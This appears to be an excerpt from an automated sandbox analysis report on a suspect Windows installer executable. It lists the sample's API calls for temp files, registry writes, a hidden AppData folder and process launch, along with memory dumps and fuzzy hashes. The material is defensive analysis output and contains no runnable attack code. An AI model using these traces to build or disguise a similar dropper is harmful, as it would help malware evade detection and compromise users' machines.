GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403487,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5), ref: 00405F0A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405ED6, 00405EDA
nsa, xrefs: 00405EDE
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00405ED1

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1270188053
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 6418149b7de8853f47a359c443b4445f7a51012143164c36937b703eba88611a
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 51F03076A00204FBEB009F59ED05E9BB7ACEB95750F10803AED41F7250E6B49A54CB69

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8

Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
Opcode Fuzzy Hash: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnB635.tmp,00000023,00000011,00000002), ref: 00402429
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,00000000,00000011,00000002), ref: 00402469
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,00000000,00000011,00000002), ref: 00402551

Strings

C:\Users\user\AppData\Local\Temp\nsnB635.tmp, xrefs: 0040241A, 00402428, 0040243F, 00402453, 0040245E

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsnB635.tmp
API String ID: 2655323295-1242400287
Opcode ID: e48b1e85c28757713ab227aa479e2b9ceb42c74d784ae5642fab68139845f862
Instruction ID: 1eab41df84c6b24c6b923ea001d17cdc0cfdc7d4c8a499a75fdfc4da8179f3fa
Opcode Fuzzy Hash: e48b1e85c28757713ab227aa479e2b9ceb42c74d784ae5642fab68139845f862
Instruction Fuzzy Hash: A1118171E00108AFEB10AFA5DE49EAEBAB4EB54354F11803AF504F71D1DBB84D459B58

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
RegCloseKey.ADVAPI32(?), ref: 00402D98
RegCloseKey.ADVAPI32(?), ref: 00402DB9

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: df4bd2222173038e22a6f7143f63260fc380016edffd80d7804df4238b5218be
Instruction ID: 0f4b1bf7762f76a333ccd5711aab570045f86c75fcf3a50f9e11fcc9d843940a
Opcode Fuzzy Hash: df4bd2222173038e22a6f7143f63260fc380016edffd80d7804df4238b5218be
Instruction Fuzzy Hash: 21116A32540509FBDF129F90CE09BEE7B69EF58344F110076B905B50E0E7B5DE21AB68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405D2C: CharNextW.USER32(?,?,00425F30,?,00405DA0,00425F30,00425F30,?,?,763B2EE0,00405ADE,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405D3A
Part of subcall function 00405D2C: CharNextW.USER32(00000000), ref: 00405D3F
Part of subcall function 00405D2C: CharNextW.USER32(00000000), ref: 00405D57

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004058E3: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405926

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine, xrefs: 00401640

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine
API String ID: 1892508949-3352420214
Opcode ID: 63e3afcb8f518b8f961fa91b0460bec2abaa85340c93af8d37e8798651ac2648
Instruction ID: a4cb8c34a70438e14e420fb04ab38ad532f12a03bdfc5322accc4ce246dd33dc
Opcode Fuzzy Hash: 63e3afcb8f518b8f961fa91b0460bec2abaa85340c93af8d37e8798651ac2648
Instruction Fuzzy Hash: 9011BE31504104EBCF31AFA0CD0199F36A0EF14368B28493BEA45B22F1DB3E4D51DA4E

Function 00405995 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059BE
CloseHandle.KERNEL32(?), ref: 004059CB

Strings

Error launching installer, xrefs: 004059A8

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 7702c274cdf70951028335e9b96fa9876c0cc9a795fc840707e03dbfe60e7272
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: B4E046F0A00209BFEB009BA4ED09F7BBAACFB04208F418431BD00F6190D774A8208A78

Function 00406EEF Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ce5b7836e8efc76d9880a3b815598044ae852516a7a266a4593ffa0bd4c046
Instruction ID: 1a1db7b112f5c349f32c040b215ce8adb2231ea54f988815808aa67dfaaa6b76
Opcode Fuzzy Hash: 86ce5b7836e8efc76d9880a3b815598044ae852516a7a266a4593ffa0bd4c046
Instruction Fuzzy Hash: 6AA15271E04228CBDF28CFA8C8446ADBBB1FF44305F14816ED856BB281D7786A86DF45

Function 004070F0 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f289ec4eae441b973c5cf469eb2209b78d92787f90c2f70d8ea77383fdb072af
Instruction ID: 81ced8d75bd8cd674d530aa485ef516b0f39a629971cfce93107e9c84bdcedbb
Opcode Fuzzy Hash: f289ec4eae441b973c5cf469eb2209b78d92787f90c2f70d8ea77383fdb072af
Instruction Fuzzy Hash: 4E912170E04228CBDF28CFA8C8547ADBBB1FB44305F14816ED856BB281D778A986DF45

Function 00406E06 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b8550c79165f3bd8438b4b7b77fc639822643401bcc62ffa2a7152ccecd571
Instruction ID: 6e186065c07e551db02da0b657444ed8a40fac9cbefa0218a87430385e41b7b0
Opcode Fuzzy Hash: 36b8550c79165f3bd8438b4b7b77fc639822643401bcc62ffa2a7152ccecd571
Instruction Fuzzy Hash: F7814571E04228CFDF24CFA8C8447ADBBB1FB45305F24816AD856BB281C778A996DF45

Function 0040690B Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd90919654d861d793b9259fd4ddd35531221e69384e43b7f209bc021a7cca94
Instruction ID: 1a645af2666a8cd9619cdf871bd9e2c738fb6a6c353dc56c4864b2e7a25bf22b
Opcode Fuzzy Hash: fd90919654d861d793b9259fd4ddd35531221e69384e43b7f209bc021a7cca94
Instruction Fuzzy Hash: 71816771E04228DBEF28CFA8C8447ADBBB1FB44301F14816AD956BB2C1C7786986DF45

Function 00406D59 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afd307a57d874939e6d1f07c4a81c11abd2b71d61e18d684fba0f23c35f734a
Instruction ID: b0583babc1dad824d13d86abae56a1a356e3ceb45be48e511182641c275db258
Opcode Fuzzy Hash: 7afd307a57d874939e6d1f07c4a81c11abd2b71d61e18d684fba0f23c35f734a
Instruction Fuzzy Hash: 8C712471E04228CFDF28CFA8C9447ADBBB1FB44305F15806AD856BB281D7386996DF45

Function 00406E77 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52b64c4cba7ecf1fb5e1bb59396999cb3f4df188a1ab73f316032be63138ba7
Instruction ID: 968097f9e37e498ed83c4652799cdf8e1ebeb5c7fee57b8dc09d96684c556b9e
Opcode Fuzzy Hash: c52b64c4cba7ecf1fb5e1bb59396999cb3f4df188a1ab73f316032be63138ba7
Instruction Fuzzy Hash: 27712471E04228CFDF28CFA8C854BADBBB1FB44305F15806AD856BB281C7786996DF45

Function 00406DC3 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c741c7bc90f3712fe41ea972859e43f39dd565e03f7b0e7aa23f6ef9dcbd7f18
Instruction ID: 737cb098acab11621bc79b115fd6dc57f162d32c21417d2b0fd17844244e9397
Opcode Fuzzy Hash: c741c7bc90f3712fe41ea972859e43f39dd565e03f7b0e7aa23f6ef9dcbd7f18
Instruction Fuzzy Hash: 5A714571E04228CFEF28CF98C8447ADBBB1FB44305F14806AD956BB281C778A996DF45

Function 004032C2 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032D6

Part of subcall function 00403441: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040313F,?), ref: 0040344F

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004031EC,00000004,00000000,00000000,?,?,00403166,000000FF,00000000,00000000,0040A230,?), ref: 00403309
SetFilePointer.KERNELBASE(0014A4BA,00000000,00000000,00414ED0,00004000,?,00000000,004031EC,00000004,00000000,00000000,?,?,00403166,000000FF,00000000), ref: 00403404

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 63f894617870b8b9b6b4d0f35ad55c68ae2789ba15d09fbc75adc17a06edb544
Instruction ID: 8a5bf560653b24f1bd3cd60389d49066fb51751ebaffca469d7b7cf87711dc5f
Opcode Fuzzy Hash: 63f894617870b8b9b6b4d0f35ad55c68ae2789ba15d09fbc75adc17a06edb544
Instruction Fuzzy Hash: 10316C72610211DBD711DF29EEC49A63BA9F78439A714823FE900B62E0CBB95D058B9D

Function 0040202C Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057

Part of subcall function 00405414: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000,?), ref: 0040544C
Part of subcall function 00405414: lstrlenW.KERNEL32(00402EEC,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000), ref: 0040545C
Part of subcall function 00405414: lstrcatW.KERNEL32(00422708,00402EEC,00402EEC,00422708,00000000,00000000,00000000), ref: 0040546F
Part of subcall function 00405414: SetWindowTextW.USER32(00422708,00422708), ref: 00405481
Part of subcall function 00405414: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054A7
Part of subcall function 00405414: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054C1
Part of subcall function 00405414: SendMessageW.USER32(?,00001013,?,00000000), ref: 004054CF

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402068
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020E5

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
